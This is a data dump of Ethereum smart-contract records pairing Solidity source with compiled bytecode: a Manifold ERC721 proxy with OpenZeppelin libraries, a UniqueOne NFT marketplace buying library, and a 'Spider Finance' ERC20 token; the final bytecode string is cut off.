manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122002f3f1fba2e5c5182994f329fb43eadb56642722969573a1dda6bf65ba9a72e064736f6c63430008070033
[ 5 ]
0xf28CdFB8d7De08A4C51C7D2171122ccDaAE37DaF
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; // Part: IERC721 interface IERC721 { /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external payable; function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external; function setApprovalForAll(address operator, bool approved) external; function approve(address to, uint256 tokenId) external; function isApprovedForAll(address owner, address operator) external returns (bool); } // Part: IERC721Sale interface IERC721Sale { /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } function buy(address token, uint256 tokenId, uint256 price, uint256 sellerFee, Sig memory signature) external payable; function buyerFee() external view returns(uint256); } // File: UniqueOneMarket.sol library UniqueOneMarket { address public constant ERC721SALE = 0x06dB0695AD7A72b025a83a500C7E728d4a35297e; struct UniqueOneBuy { address token; uint256 tokenId; uint256 price; uint256 sellerFee; IERC721Sale.Sig signature; } function buyAssetsForEth(bytes memory data, address recipient) public { UniqueOneBuy[] memory uniqueOneBuys; (uniqueOneBuys) = abi.decode( data, (UniqueOneBuy[]) ); for (uint256 i = 0; i < uniqueOneBuys.length; i++) { _buyAssetForEth( uniqueOneBuys[i].tokenId, uniqueOneBuys[i].price, uniqueOneBuys[i].sellerFee, uniqueOneBuys[i].signature, uniqueOneBuys[i].token, recipient); } } function estimateBatchAssetPriceInEth(bytes memory data) public view returns(uint256 totalCost) { uint256[] memory prices; (prices) = abi.decode( data, (uint256[]) ); for (uint256 i = 0; i < prices.length; i++) { totalCost += prices[i] = prices[i] + prices[i]*IERC721Sale(ERC721SALE).buyerFee()/10000; } } function _buyAssetForEth(uint256 _tokenId, uint256 _price, uint256 _sellerFee, IERC721Sale.Sig memory _signature, address _token, address _recipient) internal { bytes memory _data = abi.encodeWithSelector(IERC721Sale(ERC721SALE).buy.selector, _token, _tokenId, _price, _sellerFee, _signature); _price = _price + _price*IERC721Sale(ERC721SALE).buyerFee()/10000; (bool success, ) = ERC721SALE.call{value:_price}(_data); require(success, "_buyAssetForEth: uniqueone buy failed."); IERC721(_token).transferFrom(address(this), _recipient, _tokenId); } }
0x73f28cdfb8d7de08a4c51c7d2171122ccdaae37daf301460806040526004361061004b5760003560e01c80633ce029fd14610050578063a71fc14814610072578063c150e622146100aa575b600080fd5b81801561005c57600080fd5b5061007061006b366004610819565b6100cb565b005b61008d7306db0695ad7a72b025a83a500c7e728d4a35297e81565b6040516001600160a01b0390911681526020015b60405180910390f35b6100bd6100b83660046107de565b6101ec565b6040519081526020016100a1565b6060828060200190518101906100e19190610623565b905060005b81518110156101e6576101d482828151811061011257634e487b7160e01b600052603260045260246000fd5b60200260200101516020015183838151811061013e57634e487b7160e01b600052603260045260246000fd5b60200260200101516040015184848151811061016a57634e487b7160e01b600052603260045260246000fd5b60200260200101516060015185858151811061019657634e487b7160e01b600052603260045260246000fd5b6020026020010151608001518686815181106101c257634e487b7160e01b600052603260045260246000fd5b60200260200101516000015188610359565b806101de81610966565b9150506100e6565b50505050565b6000606082806020019051810190610204919061074b565b905060005b8151811015610352576127107306db0695ad7a72b025a83a500c7e728d4a35297e6001600160a01b0316635de6c42f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561026257600080fd5b505afa158015610276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029a9190610869565b8383815181106102ba57634e487b7160e01b600052603260045260246000fd5b60200260200101516102cc9190610947565b6102d69190610927565b8282815181106102f657634e487b7160e01b600052603260045260246000fd5b6020026020010151610308919061090f565b82828151811061032857634e487b7160e01b600052603260045260246000fd5b60200260200101818152508361033e919061090f565b92508061034a81610966565b915050610209565b5050919050565b604080516001600160a01b0384166024820152604481018890526064810187905260848101869052845160ff1660a482015260208086015160c48301528583015160e48084019190915283518084039091018152610104909201835281810180516001600160e01b031663526edd5360e11b1790528251635de6c42f60e01b815292519192612710927306db0695ad7a72b025a83a500c7e728d4a35297e92635de6c42f9260048082019391829003018186803b15801561041957600080fd5b505afa15801561042d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104519190610869565b61045b9088610947565b6104659190610927565b61046f908761090f565b955060007306db0695ad7a72b025a83a500c7e728d4a35297e6001600160a01b031687836040516104a09190610881565b60006040518083038185875af1925050503d80600081146104dd576040519150601f19603f3d011682016040523d82523d6000602084013e6104e2565b606091505b50509050806105465760405162461bcd60e51b815260206004820152602660248201527f5f6275794173736574466f724574683a20756e697175656f6e6520627579206660448201526530b4b632b21760d11b606482015260840160405180910390fd5b6040516323b872dd60e01b81523060048201526001600160a01b038481166024830152604482018a90528516906323b872dd90606401600060405180830381600087803b15801561059657600080fd5b505af11580156105aa573d6000803e3d6000fd5b505050505050505050505050565b600082601f8301126105c8578081fd5b813567ffffffffffffffff8111156105e2576105e2610997565b6105f5601f8201601f19166020016108ba565b818152846020838601011115610609578283fd5b816020850160208301379081016020019190915292915050565b60006020808385031215610635578182fd5b825167ffffffffffffffff81111561064b578283fd5b8301601f8101851361065b578283fd5b805161066e610669826108eb565b6108ba565b8181528381019083850160e0808502860187018a101561068c578788fd5b8795505b8486101561073d57818a03818112156106a7578889fd5b60a06106b2816108ba565b84516106bd816109ad565b8152848a01518a82015260408086015181830152606080870151818401526080607f1986018213156106ed578d8efd5b6106f6826108ba565b955080880151915060ff8216821461070c578d8efd5b908552928601518b85015260c086015190840152908101919091528452600195909501949286019290810190610690565b509098975050505050505050565b6000602080838503121561075d578182fd5b825167ffffffffffffffff811115610773578283fd5b8301601f81018513610783578283fd5b8051610791610669826108eb565b80828252848201915084840188868560051b87010111156107b0578687fd5b8694505b838510156107d25780518352600194909401939185019185016107b4565b50979650505050505050565b6000602082840312156107ef578081fd5b813567ffffffffffffffff811115610805578182fd5b610811848285016105b8565b949350505050565b6000806040838503121561082b578081fd5b823567ffffffffffffffff811115610841578182fd5b61084d858286016105b8565b925050602083013561085e816109ad565b809150509250929050565b60006020828403121561087a578081fd5b5051919050565b60008251815b818110156108a15760208186018101518583015201610887565b818111156108af5782828501525b509190910192915050565b604051601f8201601f1916810167ffffffffffffffff811182821017156108e3576108e3610997565b604052919050565b600067ffffffffffffffff82111561090557610905610997565b5060051b60200190565b6000821982111561092257610922610981565b500190565b60008261094257634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561096157610961610981565b500290565b600060001982141561097a5761097a610981565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146109c257600080fd5b5056fea2646970667358221220677e6683081bb7d04273c4de7650ef0e78a48e7cbbd9de6542d3be5d1cbc74f764736f6c63430008030033
[ 38 ]
0xf28d3dcc9b6582f1b2d49ca850db1360571cb633
pragma solidity ^0.5.1; interface ERC20 { function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract SpiderFinance is ERC20 { using SafeMath for uint256; address private deployer; string public name = "Spider Finance"; string public symbol = "SPID"; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); uint256 public constant totalSupply = 30000 * decimalFactor; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() public { balances[msg.sender] = totalSupply; deployer = msg.sender; emit Transfer(address(0), msg.sender, totalSupply); } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(block.timestamp >= 1545102693); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(block.timestamp >= 1545102693); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
0x6080604052600436106100b4576000357c01000000000000000000000000000000000000000000000000000000009004806306fdde03146100b9578063095ea7b31461014957806318160ddd146101bc57806323b872dd146101e7578063313ce5671461027a57806366188463146102ab5780636d6a6a4d1461031e57806370a082311461034957806395d89b41146103ae578063a9059cbb1461043e578063d73dd623146104b1578063dd62ed3e14610524575b600080fd5b3480156100c557600080fd5b506100ce6105a9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561010e5780820151818401526020810190506100f3565b50505050905090810190601f16801561013b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015557600080fd5b506101a26004803603604081101561016c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610647565b604051808215151515815260200191505060405180910390f35b3480156101c857600080fd5b506101d1610739565b6040518082815260200191505060405180910390f35b3480156101f357600080fd5b506102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610748565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b1a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b757600080fd5b50610304600480360360408110156102ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1f565b604051808215151515815260200191505060405180910390f35b34801561032a57600080fd5b50610333610db0565b6040518082815260200191505060405180910390f35b34801561035557600080fd5b506103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbb565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610e04565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044a57600080fd5b506104976004803603604081101561046157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea2565b604051808215151515815260200191505060405180910390f35b3480156104bd57600080fd5b5061050a600480360360408110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110d9565b604051808215151515815260200191505060405180910390f35b34801561053057600080fd5b506105936004803603604081101561054757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d5565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063f5780601f106106145761010080835404028352916020019161063f565b820191906000526020600020905b81548152906001019060200180831161062257829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b601260ff16600a0a6175300281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561078557600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107d357600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561085e57600080fd5b635c186565421015151561087157600080fd5b6108c382600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135c90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095882600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137590919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a2a82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c30576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc4565b610c43838261135c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b601260ff16600a0a81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e9a5780601f10610e6f57610100808354040283529160200191610e9a565b820191906000526020600020905b815481529060010190602001808311610e7d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610edf57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f2d57600080fd5b635c1865654210151515610f4057600080fd5b610f9282600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135c90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102782600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137590919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061116a82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff